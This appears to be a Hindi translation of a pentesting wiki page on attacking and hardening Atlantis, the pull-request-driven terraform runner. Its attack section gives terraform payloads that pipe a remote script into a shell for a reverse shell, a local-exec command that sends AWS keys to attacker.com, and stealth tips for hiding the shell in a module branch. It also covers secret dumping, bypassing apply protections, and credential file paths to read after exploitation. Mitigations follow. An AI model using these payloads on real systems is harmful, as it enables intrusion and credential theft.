Atlantis Security

Reading time: 19 minutes

Basic Information

Atlantis मूल रूप से आपको आपके git सर्वर से Pull Requests से terraform चलाने में मदद करता है।

Local Lab

1. https://github.com/runatlantis/atlantis/releases पर atlantis releases page पर जाएं और download करें जो आपके लिए उपयुक्त हो।
2. अपने github उपयोगकर्ता का personal token (repo access के साथ) बनाएं।
3. ./atlantis testdrive चलाएं और यह एक demo repo बनाएगा जिसका आप atlantis से बात करने के लिए उपयोग कर सकते हैं।
4. आप 127.0.0.1:4141 पर वेब पृष्ठ तक पहुँच सकते हैं।

Atlantis Access

Git Server Credentials

Atlantis कई git होस्ट जैसे Github, Gitlab, Bitbucket और Azure DevOps का समर्थन करता है।
हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ privileged access granted to them (कम से कम लिखने की अनुमति) की आवश्यकता होती है।
The docs इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं।

Webhooks

Atlantis वैकल्पिक रूप से Webhook secrets का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त webhooks legitimate हैं।

इसकी पुष्टि करने का एक तरीका यह होगा कि केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को allowlist करें, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है।

ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होगी।

Provider Credentials

From the docs:

Atlantis Terraform को बस terraform plan और apply कमांड्स को सर्वर पर जहाँ Atlantis होस्ट किया गया है चलाकर चलाता है। ठीक उसी तरह जैसे आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है।

यह आप पर निर्भर करता है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए credentials कैसे प्रदान करते हैं:

• Atlantis Helm Chart और AWS Fargate Module के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें।
• यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं, जैसे:
• AWS EC2 Roles ( "EC2 Role" के लिए खोजें)
• GCE Instance Service Accounts
• कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। AWS_ACCESS_KEY, जहाँ Atlantis चल रहा है।
• अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। ~/.aws/credentials, जहाँ Atlantis चल रहा है।
• प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए HashiCorp Vault Provider का उपयोग करें।

Web Page

डिफ़ॉल्ट रूप से Atlantis एक वेब पृष्ठ को localhost पर पोर्ट 4141 में चलाएगा। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)।

आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है (और यदि हैं तो atlantis:atlantis डिफ़ॉल्ट हैं)।

Server Configuration

atlantis server के लिए कॉन्फ़िगरेशन कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों का मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।

• आप यहाँ फ्लैग की सूची पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं।
• आप यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित किया जाए।

मान मानने का यह क्रम है:

1. Flags
2. Environment Variables
3. Config File

Repos Configuration

कुछ कॉन्फ़िगरेशन repos के प्रबंधन के तरीके को प्रभावित करते हैं। हालाँकि, यह संभव है कि प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है:

1. Repo /atlantis.yml फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाँकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं की जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के।
2. शायद allowed_overrides या allow_custom_workflows जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए।
3. Server Side Config: आप इसे फ्लैग --repo-config के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला yaml है (regexes समर्थित)।
4. Default मान।

PR Protections

Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि PR को किसी और द्वारा approved किया जाए (भले ही वह शाखा सुरक्षा में सेट न हो) और/या mergeable (शाखा सुरक्षा पास की गई) apply चलाने से पहले। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है।

यदि allowed_overrides True है, तो ये सेटिंग्स प्रत्येक प्रोजेक्ट पर /atlantis.yml फ़ाइल द्वारा ओवरराइट की जा सकती हैं।

Scripts

Repo कॉन्फ़िगरेशन स्क्रिप्ट्स को निर्दिष्ट कर सकता है पहले (pre workflow hooks) और बाद में (post workflow hooks) एक workflow के निष्पादन के लिए।

इन स्क्रिप्ट्स को repo /atlantis.yml फ़ाइल में specify करने की कोई विकल्प नहीं है।

Workflow

Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप एक नया डिफ़ॉल्ट workflow निर्दिष्ट कर सकते हैं, या नई कस्टम workflows** बना सकते हैं।** आप यह भी specify कर सकते हैं कि कौन से repos नए उत्पन्न किए गए ones तक पहुँच सकते हैं।
फिर, आप प्रत्येक repo के atlantis.yaml फ़ाइल को workflow का उपयोग करने के लिए निर्दिष्ट करने की अनुमति दे सकते हैं।

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest Policy Checking

Atlantis server-side conftest policies को योजना के आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग के मामले में शामिल हैं:

• मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना
• निर्माण के समय एक संसाधन के गुणों का दावा करना
• अनजाने में संसाधन हटाने को पकड़ना
• सुरक्षा जोखिमों को रोकना (जैसे। सार्वजनिक रूप से सुरक्षित पोर्ट को उजागर करना)

आप इसे the docs में कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं।

Atlantis Commands

In the docs आप Atlantis चलाने के लिए उपयोग कर सकने वाले विकल्प पा सकते हैं:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

हमले

आप इसे चलाकर ठीक कर सकते हैं:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis योजना RCE - नए PR में कॉन्फ़िगरेशन संशोधन

यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकेंगे और एक PR उत्पन्न कर सकेंगे। यदि आप atlantis plan को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है), तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे।

आप ऐसा Atlantis को एक बाहरी डेटा स्रोत लोड करने द्वारा कर सकते हैं। बस main.tf फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

स्टेल्थियर अटैक

आप इस अटैक को एक स्टेल्थियर तरीके से भी कर सकते हैं, इन सुझावों का पालन करके:

• Terraform फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप एक बाहरी संसाधन लोड कर सकते हैं जिसमें रेव शेल हो:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

आप रिव शेल कोड https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules में पा सकते हैं।

• बाहरी संसाधन में, ref फीचर का उपयोग करें ताकि repo के अंदर एक शाखा में terraform rev shell कोड छिपा सकें, कुछ इस तरह: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• PR को मास्टर में बनाने के बजाय, 2 शाखाएँ (test1 और test2) बनाएं और एक से दूसरी के लिए PR बनाएं। जब आप हमले को पूरा कर लें, तो बस PR और शाखाओं को हटा दें।

Atlantis योजना रहस्यों का डंप

आप terraform द्वारा उपयोग किए गए रहस्यों को डंप कर सकते हैं atlantis plan (terraform plan) चलाकर, terraform फ़ाइल में कुछ इस तरह डालकर:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - नए PR में कॉन्फ़िगरेशन संशोधन

यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप atlantis apply निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं।

हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी:

• Mergeable: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल atlantis apply चला सकते हैं यदि PR मर्ज करने योग्य है (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)।
• संभावित शाखा सुरक्षा बायपास की जांच करें
• Approved: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा इससे पहले कि आप atlantis apply चला सकें
• डिफ़ॉल्ट रूप से, आप इस सुरक्षा को बायपास करने के लिए Gitbot टोकन का दुरुपयोग कर सकते हैं

terraform apply को एक दुर्भावनापूर्ण Terraform फ़ाइल पर चलाना local-exec।
आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड main.tf फ़ाइल में समाप्त हो जाएं:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

पिछली तकनीक से सुझावों का पालन करें ताकि इस हमले को छिपे हुए तरीके से किया जा सके।

Terraform Param Injection

जब atlantis plan या atlantis apply चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह कमांड पास कर सकते हैं:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

आप जो पास कर सकते हैं वे env वेरिएबल हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। https://www.terraform.io/cli/config/environment-variables में terraform env vars की जांच करें।

कस्टम वर्कफ़्लो

malicious custom build commands को atlantis.yaml फ़ाइल में निर्दिष्ट करना। Atlantis पुल अनुरोध शाखा से atlantis.yaml फ़ाइल का उपयोग करता है, master की नहीं।
इस संभावना का उल्लेख पिछले अनुभाग में किया गया था:

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

योजना/लागू सुरक्षा को बायपास करना

यदि server side config ध्वज allowed_overrides has apply_requirements कॉन्फ़िगर किया गया है, तो एक रेपो के लिए योजना/लागू सुरक्षा को बायपास करने के लिए संशोधित करना संभव है।

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

यदि कोई आपके वैध पुल अनुरोधों पर atlantis plan/apply टिप्पणियाँ भेजता है, तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते।

इसके अलावा, यदि आपने branch protection में यह कॉन्फ़िगर नहीं किया है कि जब एक नया कमिट डाला जाता है तो हर PR को फिर से मूल्यांकन करने के लिए कहा जाए, तो कोई दुष्ट कॉन्फ़िगरेशन (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िगरेशन में लिख सकता है, atlantis plan/apply चला सकता है और RCE प्राप्त कर सकता है।

यह Github branch protections में सेटिंग है:

Webhook Secret

यदि आप webhook secret चुराने में सफल होते हैं या यदि कोई webhook secret उपयोग नहीं किया जा रहा है, तो आप Atlantis webhook को कॉल कर सकते हैं और atlatis कमांड सीधे निष्पादित कर सकते हैं।

Bitbucket

Bitbucket Cloud webhook secrets का समर्थन नहीं करता। यह हमलावरों को Bitbucket से अनुरोधों की नकल करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं।

• इसका मतलब है कि एक हमलावर Atlantis के लिए फर्जी अनुरोध कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहे हैं।
• यदि आप --repo-allowlist निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं वह आपके अपने रिपोजिटरी पर plan/apply करना होगा।
• इससे बचने के लिए Bitbucket के IP पते को allowlist करें (Outbound IPv4 addresses देखें)।

Post-Exploitation

यदि आप सर्वर तक पहुँचने में सफल हो गए हैं या कम से कम आपके पास LFI है, तो कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने का प्रयास करना चाहिए:

• /home/atlantis/.git-credentials VCS एक्सेस क्रेडेंशियल्स शामिल हैं
• /atlantis-data/atlantis.db अधिक जानकारी के साथ VCS एक्सेस क्रेडेंशियल्स शामिल हैं
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform stated file
• उदाहरण: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Env वेरिएबल्स
• /proc/[2-20]/cmdline atlantis server की Cmd line (संवेदनशील डेटा हो सकता है)

Mitigations

Don't Use On Public Repos

क्योंकि कोई भी सार्वजनिक पुल अनुरोधों पर टिप्पणी कर सकता है, सभी सुरक्षा उपायों के साथ भी, सार्वजनिक रिपोजिटरी पर उचित सुरक्षा सेटिंग्स के बिना Atlantis चलाना अभी भी खतरनाक है।

Don't Use --allow-fork-prs

यदि आप एक सार्वजनिक रिपोजिटरी पर चल रहे हैं (जो अनुशंसित नहीं है, ऊपर देखें) तो आपको --allow-fork-prs सेट नहीं करना चाहिए (डिफ़ॉल्ट रूप से false) क्योंकि कोई भी अपने फोर्क से आपके रिपोजिटरी के लिए एक पुल अनुरोध खोल सकता है।

--repo-allowlist

Atlantis को आपको --repo-allowlist ध्वज के माध्यम से वेबहुक स्वीकार करने के लिए रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:

• विशिष्ट रिपोजिटरी: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• आपका पूरा संगठन: --repo-allowlist=github.com/runatlantis/*
• आपके GitHub Enterprise इंस्टॉलेशन में हर रिपोजिटरी: --repo-allowlist=github.yourcompany.com/*
• सभी रिपोजिटरी: --repo-allowlist=*। जब आप एक सुरक्षित नेटवर्क में होते हैं तो यह उपयोगी है लेकिन बिना webhook secret सेट किए खतरनाक है।

यह ध्वज सुनिश्चित करता है कि आपकी Atlantis इंस्टॉलेशन उन रिपोजिटरी के साथ उपयोग नहीं की जा रही है जिन्हें आप नियंत्रित नहीं करते। अधिक विवरण के लिए atlantis server --help देखें।

Protect Terraform Planning

यदि आपके खतरे के मॉडल में हमलावरों द्वारा दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत करना शामिल है, तो आपको यह जानना चाहिए कि terraform apply अनुमतियाँ पर्याप्त नहीं हैं। यह external data source का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके terraform plan में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है।

इससे बचने के लिए, आप कर सकते हैं:

1. प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें।
2. आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है।
3. अपने सर्वर-साइड रिपोजिटरी कॉन्फ़िगरेशन के plan चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि plan जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है।

Webhook Secrets

Atlantis को $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET पर्यावरण वेरिएबल के माध्यम से सेट किए गए Webhook secrets के साथ चलाना चाहिए। --repo-allowlist ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets यह सुनिश्चित करते हैं कि वेबहुक अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं।

यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें।

Azure DevOps Basic Authentication

Azure DevOps सभी वेबहुक घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके वेबहुक स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है।

SSL/HTTPS

यदि आप webhook secrets का उपयोग कर रहे हैं लेकिन आपका ट्रैफ़िक HTTP पर है, तो webhook secrets चुराए जा सकते हैं। --ssl-cert-file और --ssl-key-file ध्वजों का उपयोग करके SSL/HTTPS सक्षम करें।

Enable Authentication on Atlantis Web Server

वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। --web-basic-auth=true का उपयोग करके BasicAuth सक्षम करें और --web-username=yourUsername और --web-password=yourPassword ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें।

आप इन्हें पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername और ATLANTIS_WEB_PASSWORD=yourPassword।

References

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html